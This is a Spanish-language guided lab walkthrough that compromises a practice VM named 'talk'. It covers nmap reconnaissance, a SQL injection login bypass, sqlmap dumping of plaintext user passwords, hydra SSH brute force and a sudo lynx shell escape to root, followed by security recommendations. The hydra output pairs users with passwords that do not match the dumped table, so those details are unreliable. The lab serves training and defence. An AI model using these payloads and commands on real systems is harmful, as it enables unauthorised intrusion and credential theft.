Laboratorio Guiado - 02-talk

Objetivo: Aplicar técnicas de enumeración, explotación de vulnerabilidades web (SQL Injection) y escalada de privilegios para comprometer una máquina vulnerable, siguiendo la metodología de pruebas descrita en la **OWASP Testing Guide v4** (Enlace a la máquina).

---

1. Information Gathering – *OTG-INFO-001, OTG-INFO-003*

Identificamos la dirección IP de la máquina víctima:

```
› arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.117   08:00:27:70:fd:a1     PCS Systemtechnik GmbH
```

---

2. Configuration and Deployment Management Testing – *OTG-CONFIG-001*

Enumeración de puertos abiertos y servicios expuestos:

```
› sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts
192.168.1.117
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:70:FD:A1 (Oracle VirtualBox virtual NIC)
```

Escaneo de versión y servicios:

```
› nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.117
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol
2.0)
| ssh-hostkey:
|   2048 e3:fc:1b:74:e5:e3:c9:ef:6d:ac:df:b1:1e:47:83:ad (RSA)
|   256 10:bd:60:33:a0:d1:a4:7d:de:c8:29:0a:c4:7d:b1:aa (ECDSA)
|_  256 4b:fc:30:a8:12:69:e7:b2:ce:ad:99:f1:66:12:cd:8c (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: chatME
|_http-server-header: nginx/1.14.2
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

---

3. Authentication Testing – *OTG-AUTHN-003, OTG-AUTHN-004*

Ingreso a la aplicación web:

Accedemos a `http://192.168.1.117` y nos encontramos con un formulario de login.

Probamos inyección SQL en el campo de usuario:

```
admin' OR 1=1-- -
```

Este payload permite el acceso sin necesidad de credenciales válidas, lo cual confirma una **vulnerabilidad de inyección SQL en el mecanismo de autenticación**.

---

4. Testing for SQL Injection – *OTG-INPVAL-005*

Interceptamos y analizamos la petición con Burp Suite:

Una vez logueados, enviamos un mensaje en el chat y capturamos la petición HTTP.

La guardamos y analizamos con `sqlmap`:

```
❯ sqlmap -r /ruta/absoluta/a/request --threads 10 --dbs
available databases [4]:
[*] chat
[*] information_schema
[*] mysql
[*] performance_schema
```

Enumeramos tablas:

```
❯ sqlmap -r /ruta/absoluta/a/request --threads 10 --tables -D chat
Database: chat
[3 tables]
+-----------+
| user      |
| chat      |
| chat_room |
+-----------+
```

Extraemos datos sensibles:

```
❯ sqlmap -r /ruta/absoluta/a/request --dump -D chat -T user
Database: chat
Table: user
[5 entries]
+--------+-----------------+-------------+-----------------+----------+-----------+
| userid | email           | phone       | password        | username | your_name |
| 5      | david@david.com | 11          | adrianthebest   | david    | david     |
| 4      | jerry@jerry.com | 111         | thatsmynonapass | jerry    | jerry     |
| 2      | nona@nona.com   | 1111        | myfriendtom     | nona     | nona      |
| 1      | pao@yahoo.com   | 09123123123 | pao             | pao      | PaoPao    |
| 3      | tina@tina.com   | 11111       | davidwhatpass   | tina     | tina      |
+--------+-----------------+-------------+-----------------+----------+-----------+
```

---

5. Automatización de la inyección SQL – *OTG-INPVAL-005*

También automatizamos la explotación con un script Python (`sqli-blind.py`):

```
❯ python sqli-blind.py
[*] Extrayendo registros de `user`...
    -> pao:pao
    -> nona:myfriendtom
    -> tina:davidwhatpass
    -> jerry:thatsmynonapass
    -> david:adrianthebest
```

---

6. Credential Testing – *OTG-AUTHN-004*

Generamos wordlists con usuarios y contraseñas extraídas y lanzamos un ataque de fuerza bruta con `hydra` sobre el servicio SSH:

```
› hydra -L users.txt -P passwds.txt 192.168.1.117 ssh -t 64
[22][ssh] host: 192.168.1.117   login: jerry   password: myfriendtom
[22][ssh] host: 192.168.1.117   login: nona   password: thatsmynonapass
[22][ssh] host: 192.168.1.117   login: david   password: davidwhatpass
```

---

7. Escalación de Privilegios – *OTG-PRIV-002*

Establecemos conexión SSH como el usuario **nona**:

```
› ssh nona@192.168.1.117
nona@192.168.1.117's password: thatsmynonapass
...
nona@talk:~$
```

Verificamos los permisos `sudo`:

```
nona@talk:~$ sudo -l
User nona may run the following commands on talk:
    (ALL : ALL) NOPASSWD: /usr/bin/lynx
```

El binario `lynx` puede ser ejecutado como root sin contraseña. Usamos esta funcionalidad para invocar una shell interactiva:

```
nona@talk:~$ sudo /usr/bin/lynx
! (SHIFT + 1)

Spawning your default shell.  Use 'exit' to return to Lynx.

root@talk:/home/nona#
```

8. Recomendaciones de Seguridad

A continuación se detallan recomendaciones específicas para mitigar las vulnerabilidades identificadas en este laboratorio, organizadas según las áreas de debilidad detectadas:

Inyección SQL – OTG-INPVAL-005

Hallazgo: El sistema de autenticación y la funcionalidad de chat son vulnerables a inyecciones SQL.

Recomendaciones:

- Utilizar **consultas parametrizadas (prepared statements)** en lugar de concatenar cadenas SQL.
- Implementar un **firewall de aplicaciones web (WAF)** para detectar y bloquear patrones comunes de inyección.
- Establecer una **validación estricta de entrada**, incluyendo listas blancas, tanto en el lado cliente como en el servidor.
- Habilitar registros de auditoría para detectar intentos de inyección.

Autenticación Débil – OTG-AUTHN-003 / OTG-AUTHN-004

Hallazgo: El sistema permite bypass de autenticación mediante inyección y utiliza credenciales fácilmente explotables vía fuerza bruta.

Recomendaciones:

- Implementar un **sistema de bloqueo de cuentas o aumento progresivo de retardo** ante múltiples intentos fallidos.
- Aplicar políticas de contraseñas seguras (longitud mínima, complejidad, caducidad).
- Utilizar **autenticación multifactor (MFA)** para accesos administrativos.
- Monitorear y registrar todos los intentos de login, incluyendo IP y agente.

Exposición de Servicios y Software Desactualizado – OTG-CONFIG-001

Hallazgo: El servidor expone servicios innecesarios y ejecuta versiones antiguas (nginx 1.14.2, OpenSSH 7.9p1).

Recomendaciones:

- Mantener todos los servicios actualizados con los últimos parches de seguridad.
- Minimizar la superficie de ataque **deshabilitando servicios no necesarios**.
- Configurar encabezados de seguridad HTTP, como `X-Content-Type-Options`, `Strict-Transport-Security` y `X-Frame-Options`.

Escalada de privilegios por binario mal configurado – OTG-PRIV-002

Hallazgo: El usuario nona puede ejecutar el binario `lynx` como root sin contraseña.

Recomendaciones:

- Eliminar privilegios de `sudo` innecesarios mediante `sudoers`, aplicando el principio de **mínimo privilegio**.
- Auditar periódicamente los binarios permitidos con `NOPASSWD` y sus riesgos asociados.
- Considerar herramientas como **AppArmor o SELinux** para reforzar el control de ejecución.

Gestión general de seguridad

Recomendaciones adicionales:

- Realizar pruebas de penetración regulares y automatizadas con herramientas como OWASP ZAP o Burp Suite Pro.
- Seguir una estrategia de defensa en profundidad: segmentación de red, control de acceso, monitoreo, backups.
- Aplicar revisiones de código y auditorías de seguridad en el ciclo de vida del desarrollo (SDLC).
- Proporcionar capacitación en seguridad a los desarrolladores y administradores del sistema.